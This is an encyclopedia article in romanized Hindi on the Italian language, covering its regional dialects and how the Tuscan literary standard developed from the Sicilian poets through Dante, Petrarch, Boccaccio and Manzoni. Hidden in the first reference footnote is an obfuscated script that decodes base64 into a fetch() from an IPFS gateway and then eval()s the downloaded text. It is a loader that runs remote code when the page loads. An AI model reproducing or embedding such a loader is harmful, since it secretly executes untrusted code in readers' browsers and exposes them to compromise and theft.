इतालवी भाषा
adhunik italiy ganatantr ki bhasha italavi hai, kiantu korsi ka (phraansisi), triyeste (yoogoslaviya) ke kuchh bhag tatha sanamarino ke chhote se prajatantr mean bhi italavi boli jati hai. itali mean anek boliyaan boli jati haian jinamean se kuchh to sahityik italavi se bahut bhinn pratit hoti haian. in boliyoan mean paraspar itana bhed hai ki uttari itali ke loanbard praant ka nivasi dakshini itali ke kalabriya ki boli shayad hi samajh sakega ya rom mean rahanevala keval sahityik italavi janane vala videshi romano boli (rom ke traetevere muhalle ki boli) ko shayad hi samajh sakega. italavi boliyoan ke nam italavi praantoan ki simaoan se tho de bahut milate haian. svitzaralaiand se mile hue uttari itali ke kuchh bhagoan mean ladin varg ki boliyaan boli jati haian-jo romaans boliyaan haian; svitzaralaiand mean bhi ladini boli jati hai. venatsiyan boliyaan itali ke uttari pashchimi bhag mean boli jati haian, venis nagar isaka pratinidhi keandr kaha ja sakata hai. pimaute, ligooriya, loanbardiya tatha emiliya praantoan mean inhian namoan ki boliyaan boli jati haian jo kuchh-kuchh phraansisi boliyoan se milati haian. latini ke aanty svar ka inamean lop ho jata hai-udaharanarth phattoan (toskano), phett (pimotese) otto, ot (ath). toskana praant mean toskana varg ki boliyaan boli jati haian. sahityik italavi ka adhar toskana praant ki, visheshakar phloreans ki boli (phiyoreantibo) rahi hai. yah latini keadhik samip kahi ja sakati hai. kanthy ka mahapran uchcharan isaki pramukh visheshata hai-yatha kasa, kahasa (ghar). uttari aur dakshini boliyoan ke kshetroan ke bich mean hone ke karan bhi isamean donoan vargoan ki visheshataean kuchh-kuchh samanvit ho geean. uttari korsika ki boli toskano se milati hai. lansiyo (rom keandr), ooanbiya (peroojya keandr) tatha marke ki boliyoan ko ek varg mean rakha ja sakata hai aur dakshin ki boliyoan mean abroojji, kaanpaniya (nepals pradhan keandr), kalabriya, poolya aur sisili ki boliyaan pramukh haian-inaki sabase pramukh visheshata latini ke sanyukt vyanjan nd ke sthan par nn, mb ke sthan par mm, ll ke sthan dd ka ho jana sardenya ki boliyaan italavi se bhinn haian.
ek hi mool srot se vikasit hote hue bhi inaki bhinnata in boliyoan mean kadachith latini ke bhinn prakar se uchcharan karane mean a gee hogi. bahari akramanoan ka bhi prabhav p da hoga. itali ki boliyoan mean suandar gramy git haian jinaka ab sangrah ho raha hai aur adhyayan bhi kiya ja raha hai. boliyoan mean sajivata aur vyanjanashakti paryapt hai. nopolitano ke lokagit to kaphi prasiddh haian.
sahityik bhasha-navian sadi ke aranbh ki ek pahale 'iandovinello veronese' (verona ki pahale ) milati hai jisamean adhunik italavi bhasha ke shabdoan ka prayog hua hai. usake poorv ke bhi latini apabhransh (latino bolgare) ke prayog latini mean likhe ge hisab ke kagajapatroan mean milate haian jo adhunik bhasha ke praranbh ki soochana dete haian. satavian aur athavian sadi mean likhit patroan mean sthanoan ke nam tatha kuchh shabdoan ke roop mean milate haian jo navin bhasha ke dyotak haian. sahityik latini aur janasamany ki boli mean dhire-dhire aantar badhata gaya aur boli ki latini se hi adhunik italavi ka vikas hua. is boli ke anek namoone milate haian. sanh 960 mean moantekassino ke math ki sima ke panchayat ke prasang mean ek gavahi ka bayan tatkalin boli mean milata hai; isi prakar ki boli tatha latini apabhransh mean likhit lekh rom ke sant klemeante ke giraje mean milata hai. ooanbriya tatha marke mean bhi 11vian 12vian sadi ki bhasha ke namoone dharmik svikaroktiyoan ke roop mean milate haian, kiantu italavi bhasha ki padyabaddh rachanaoan ke udaharan sisili ke samrath phredarik dvitiy (13vian sadi) ke darabari kaviyoan ke milate haian. ye kavitaean sisili ki boli mean rachi gee hoangi. shrriangar hi in kavitaoan ka pradhan vishay hai. pier della vinya, yakopo d akvino adi anek padyarachayita phredarik ke darabar mean the. vah svayan kavi tha.[1]
venevetto ke yuddh ke pashchath sahityik aur saanskritik keandr sisili ke bajay toskana ho gaya jahaan shririangaravishayak gitikavy ki rachana huee, gooittone del viva d arejjo (mrityu 1294 ee.) is dhara ka pradhan kavi tha. phloreans, pisa, lookka tatha arejjo mean is kal mean anek kaviyoan ne tatkalin boli mean kavitaean likhian. bolon (ita. bolonya) mean sahityik bhasha ka roop sthir karane ka prayas kiya gaya. sisili aur toskana kavyadharaoan ne sahityik italavi ka jo roop prastut kiya use aantim aur sthir roop diya 'dolche stil novo' (mithi navin shaili) ke kaviyoan ne. in kaviyoan ne kalatmak sanyam, parishkrit ruchi tatha parimarjit samriddh bhasha ka aisa roop rakha ki age ki kee sadiyoan ke italavi lekhak usako adarsh manakar isi mean likhate rahe. daante alimieri (1265-1321) ne isi navin shaili mean, toskana ki boli mean, apani mahanh kriti 'divina komediya' likhi. daante ne 'konvivio' mean gady ka bhi parishkrit roop prastut kiya aur gooido phaba tatha gooittone d arejjo ki kritrim tatha sadharan bolachal ki bhasha se bhinn svabhavik gady ka roop upasthit kiya. daante tatha 'doche stil novo' ke any anuyayiyoan mean agragany haian phraeanchesko, petrarka aur jvovanni bokkachyo. petrarka ne phloreans ki bhasha ko parimarjit roop pradan kiya tatha use vyavasthit kiya. petrarka ki kavitaoan aur bokkachcho ki kathaoan ne italavi sahityik bhasha ka atyant suvyavasthit roop samane rakha. pichhe ke lekhakoan ne daante, petrarka aur bokkachyo ki kritiyoan se sadiyoan tak prerana grahan ki. 15vian sadi mean latini ke prachin sahity ke prashansakoan ne latini ko chalane ki cheshta ki aur prachin sabhyata ke adhyayanavadiyoan (manavatavadi-mainist) ne navin sahityik bhasha banane ki cheshta ki, kiantu yahi latini prachin latini se bhinn thi. is pravritti ke phalasvaroop sahityik bhasha ka roop kya ho, yah samasya kh di ho gee. ek dal vibhinn boliyoan ke kuchh tatv lekar ek nee sahityik bhasha gadhane ke paksh mean tha, ek dal toskana, visheshakar phloreans ki boli ko yah sthan dene ke paksh mean tha aur ek dal, jisamean pietaro beanbo (1470-1587) pramukh tha, chahata tha ki daante, petrarka aur bokkachyo ki bhasha ko hi adarsh mana jae. maikiyaveli ne bhi phiyoreantino ka hi paksh liya. toskana ki hi boli sahityik bhasha ke pad par pratishthit ho gee. age sanh 1612 mean krooska akadami ne italavi bhasha ka pratham shabdakosh prakashit kiya jisane sahityik bhasha ke roop ko sthir karane mean sahayata pradan ki. 18vian sadi mean ek nee sthiti aee. italavi bhasha par phreanch ka atyadhik prabhav p dana shuroo hua. phreanch vicharadhara, shaili, shabdavali tatha vakyaanshoan se aur muhavaroan ke anuvadoan se italavi bhasha ki gati rug gee. phraansisi buddhivadi aandolan usaka pradhan karan tha. italavi bhasha ke anek lekhakoan-algarotti, verri, bekhkariya-ne ni:sankoch phreanch ka anusaran kiya. shuddh italavi ke pakshapati isase bahut du:khit hue. milan ke nivasi alessaandro maanjoni (1775-1873) ne is sthiti ko sulajhaya. rashtr ki ekata ke lie ve ek bhasha ka hona avashyak manate the aur phloreans ki bhasha ko ve us sthan ke upayukt samajhate samajhate the. apane upanyas 'ee promessi sposi' (sagaee huee) mean phloreans ki bhasha ka sahityik adarsh roop unhoanne sthapit kiya aur is prakar toskana ki bhasha hi aantim roop se sahityik bhasha ban gee. itali ke rajanitik ekata prapt kar lene ke bad yah samasya nishchit roop se hal ho gee.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 516-17 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gre.-bha. skyaphphini : momeanti di storiya della liangua italiyana, bari, 1952; jyakomo devoto-prophilo di storiya liangu : istipha italiyana, phireanje, 1953; aanjelo moanteveradi : manuale di avviyameanto alyi stoodi romaanji, milano, 1952; na. sapenyo : kaanpeandio di storiya della letterattoora italiyana, 3 bhag, phireanj 1952.
sanbandhit lekh
varnamala kramanusar lekh khoj
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